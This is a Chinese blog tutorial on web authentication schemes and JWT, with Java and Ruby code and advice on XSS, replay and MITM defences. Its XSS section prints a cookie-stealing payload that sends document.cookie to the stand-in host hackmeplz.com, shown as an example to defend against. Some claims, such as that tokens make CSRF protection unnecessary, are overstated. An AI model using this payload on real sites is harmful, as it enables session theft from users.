几种常用的认证机制

HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:

这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;

Cookie Auth

Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth

Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢?

  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。
载荷(Payload)

  1. { "iss": "Online JWT Builder",

  2. "iat": 1416797419,

  3. "exp": 1448333419,

  4. "aud": "www.example.com",

  5. "sub": "jrocket@example.com",

  6. "GivenName": "Johnny",

  7. "Surname": "Rocket",

  8. "Email": "jrocket@example.com",

  9. "Role": [ "Manager", "Project Administrator" ]

  10. }

  • iss: 该JWT的签发者,是否使用是可选的;
  • sub: 该JWT所面向的用户,是否使用是可选的;
  • aud: 接收该JWT的一方,是否使用是可选的;
  • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
  • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
    其他还有:
  • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码

头部(Header)
JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。

  1. {

  2. "typ": "JWT",

  3. "alg": "HS256"

  4. }

在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我们的请求URL中会带上这串JWT字符串:

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录

  • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
  • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
  • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
  • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
  • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
中,也可能在HTTP的Authorization头中;

  • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
  • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
  • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
  • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
  • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
  • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

对Token认证的五点认识

对Token认证机制有5点直接注意的地方:

  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

JWT的JAVA实现

Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
生成Token码

  1. import javax.crypto.spec.SecretKeySpec;

  2. import javax.xml.bind.DatatypeConverter;

  3. import java.security.Key;

  4. import io.jsonwebtoken.*;

  5. import java.util.Date;

  6. //Sample method to construct a JWT

  7. private String createJWT(String id, String issuer, String subject, long ttlMillis) {

  8. //The JWT signature algorithm we will be using to sign the token

  9. SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;

  10. long nowMillis = System.currentTimeMillis();

  11. Date now = new Date(nowMillis);

  12. //We will sign our JWT with our ApiKey secret

  13. byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());

  14. Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());

  15. //Let's set the JWT Claims

  16. JwtBuilder builder = Jwts.builder().setId(id)

  17. .setIssuedAt(now)

  18. .setSubject(subject)

  19. .setIssuer(issuer)

  20. .signWith(signatureAlgorithm, signingKey);

  21. //if it has been specified, let's add the expiration

  22. if (ttlMillis >= 0) {

  23. long expMillis = nowMillis + ttlMillis;

  24. Date exp = new Date(expMillis);

  25. builder.setExpiration(exp);

  26. }

  27. //Builds the JWT and serializes it to a compact, URL-safe string

  28. return builder.compact();

  29. }

解码和验证Token码

  1. import javax.xml.bind.DatatypeConverter;

  2. import io.jsonwebtoken.Jwts;

  3. import io.jsonwebtoken.Claims;

  4. //Sample method to validate and read the JWT

  5. private void parseJWT(String jwt) {

  6. //This line will throw an exception if it is not a signed JWS (as expected)

  7. Claims claims = Jwts.parser()

  8. .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))

  9. .parseClaimsJws(jwt).getBody();

  10. System.out.println("ID: " + claims.getId());

  11. System.out.println("Subject: " + claims.getSubject());

  12. System.out.println("Issuer: " + claims.getIssuer());

  13. System.out.println("Expiration: " + claims.getExpiration());

  14. }

基于JWT的Token认证的安全问题

确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

  1. <img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’

  2. +document.cookie;return a}())"

这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

  • XSS攻击代码过滤
    移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
  • 采用HTTP-Only Cookies
    通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
    如何在Java中设置cookie是HttpOnly呢?
    Servlet 2.5 API 不支持 cookie设置HttpOnly
    http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
    建议升级Tomcat7.0,它已经实现了Servlet3.0
    http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
    或者通过这样来设置:
  1. //设置cookie

  2. response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

  3. //设置多个cookie

  4. response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

  5. response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

  6. //设置https的cookie

  7. response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;

如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:

  • User ID
  • 共享秘钥

客户端

  1. auth_header = JWT.encode({

  2. user_id: 123,

  3. iat: Time.now.to_i, # 指定token发布时间

  4. exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;

  5. }, "<my shared secret>")

  6. RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

  1. class ApiController < ActionController::Base

  2. attr_reader :current_user

  3. before_action :set_current_user_from_jwt_token

  4. def set_current_user_from_jwt_token

  5. # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查

  6. # the signature. Note JWT tokens are *not* encrypted, but signed.

  7. payload = JWT.decode(request.authorization, nil, false)

  8. # Step 2: 检查该用户是否存在于数据库

  9. @current_user = User.find(payload['user_id'])

  10. # Step 3: 检查Token签名是否正确.

  11. JWT.decode(request.authorization, current_user.api_secret)

  12. # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.

  13. now = Time.now.to_i

  14. if payload['iat'] > now || payload['exp'] < now

  15. # 如果过期则返回401

  16. end

  17. rescue JWT::DecodeError

  18. # 返回 401

  19. end

  20. end

2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端

  1. auth_header = JWT.encode({

  2. user_id: 123,

  3. jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack

  4. iat: Time.now.to_i, # 指定token发布时间.

  5. exp: Time.now.to_i + 2 # 指定token过期时间为2秒后

  6. }, "<my shared secret>")

  7. RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

  1. def set_current_user_from_jwt_token

  2. # 前面的步骤参考上面

  3. payload = JWT.decode(request.authorization, nil, false)

  4. @current_user = User.find(payload['user_id'])

  5. JWT.decode(request.authorization, current_user.api_secret)

  6. now = Time.now.to_i

  7. if payload['iat'] > now || payload['exp'] < now

  8. # 返回401

  9. end

  10. # 下面将检查确保这个JWT之前没有被使用过

  11. # 使用Redis的原子操作

  12. # The redis 的键: <user id>:<one-time use token>

  13. key = "#{payload['user_id']}:#{payload['jti']}"

  14. # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .

  15. if redis.getset(key, "1")

  16. # 返回401

  17. #

  18. end

  19. # 进行键值过期检查

  20. redis.expireat(key, payload['exp'] + 2)

  21. end

如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。

参考目录:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

基于Token的WEB后台登录认证机制(并讲解其他认证机制以及cookie和session机制)相关推荐

  1. 基于Token的WEB后台认证机制

    转载自:基于Token的WEB后台认证机制 几种常用的认证机制 HTTP Basic Auth HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和passwor ...

  2. 关于cookie的文章(cookie与session机制)

    会话(Session)跟踪是Web程序中常用的技术,用来跟踪用户的整个会话.常用的会话跟踪技术是Cookie与Session.Cookie通过在客户端记录信息确定用户身份,Session通过在服务器端 ...

  3. php session 机制,Cookie、Session机制详解及PHP中Session处理

    会话机制 Cookie/Session: 在web应用中,常用的会话追踪机制是Cookie和Session.而Cookie是通过在浏览器里记录确定用户身份,Session在服务器端记录信息确定用户身份 ...

  4. Cookie 和 Session机制具体解释

    原文地址:http://blog.csdn.net/fangaoxin/article/details/6952954     会话(Session)跟踪是Web程序中经常使用的技术.用来跟踪用户的整 ...

  5. cookie与session机制

    HTTP 协议和状态保持 HTTP 协议本身是无状态的,这和 HTTP 协议本来的目的是相符的,客户端只需要简单的向服务器请求下载某些文件,无论是客户端还是服务器都没有必要纪录彼此过去的行为,每一次请 ...

  6. web后台登录口令暴力破解及防御

    在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等.前台用户可以自由注册,而后台是网站管理或者维护人员设定 ...

  7. cookie 和 session 机制

    cookie机制 Cookie实际上是Web服务端与客户端(典型的是浏览器)交互时彼此传递的一部分内容,内容可以是任意的,但要在允许的长度范围之内.客户端会将它保存在本地机器上(如IE便会保存在本地的 ...

  8. WeChat小程序授权机制踩坑请求头中设置cookie保持session

    思路 存储token在redis中,但是现在没有redis,使用session进行存储 ,key为token   value为用户信息 session机制使用的文件缓存 token机制使用的redis ...

  9. WeChat授权Token验证体系:用token来隐藏微信用户的openid不用用户名与密码了, 与cookie与session很相似

    背景: 有些接口是可以公开访问的,有些是不允许公开访问的,所以要设置token进行区分验证 之前的网站是使用用户与密码,利用cookie与session进行验证用户态: 现在的话,是app和小程序,一 ...

最新文章

  1. 1027 Colors in Mars
  2. java 画图 怎么清除已经画出来的图形_ppt小技巧——用paint3d画3d演示内容
  3. 搭建基于spring MVC框架 + RESTful架构风格技术总结
  4. 资源 | 深度学习课程入门与介绍
  5. mysql删除赋权_mysql 添加用户 删除用户 赋权
  6. 双非本科上岸北大,复试成绩专业第一!
  7. linux查看服务状态
  8. 外媒:特斯拉2.5万美元新型电动车拟2023年推出 命名Model Q
  9. 微服务架构 SpringCloud(一)组件和概念介绍
  10. 如何使用String获取字符串中某一个字符后面的所有字符?
  11. 高等数学-不定积分基本公式
  12. matlab freqz用法,Python中的Matlab freqz函数
  13. 互联网与物联网有什么区别?
  14. 微波射频工程师必读经典参考书
  15. 电阻式触摸屏的工作原理
  16. ICMP Flood防范
  17. 2019第五届中国诗歌春晚致敬先贤
  18. uv视差检测障碍物_社区组成–视差效果,节拍检测,精美游戏和艺术研究
  19. android硬解码x265,Android 设置硬解码 h265 失败
  20. 网页中播放flash视频

热门文章

  1. mac m1 php,【php】Macbook m1 Big Sur 安装php7.1 mondodb 折腾记
  2. jQuery 图片放大预览插件
  3. Android 带清除功能的输入框控件ClearEditText,仿IOS的输入框
  4. Java集合——题目
  5. 第19章 可空值类型
  6. 从零开始写个编译器吧 - 程序流控制
  7. groovy环境搭建,配置报错
  8. git 入门操作指令
  9. 你所能用到的数据结构之番外篇---逆袭的面向对象(一)
  10. PHP 循环时间控制缓冲方法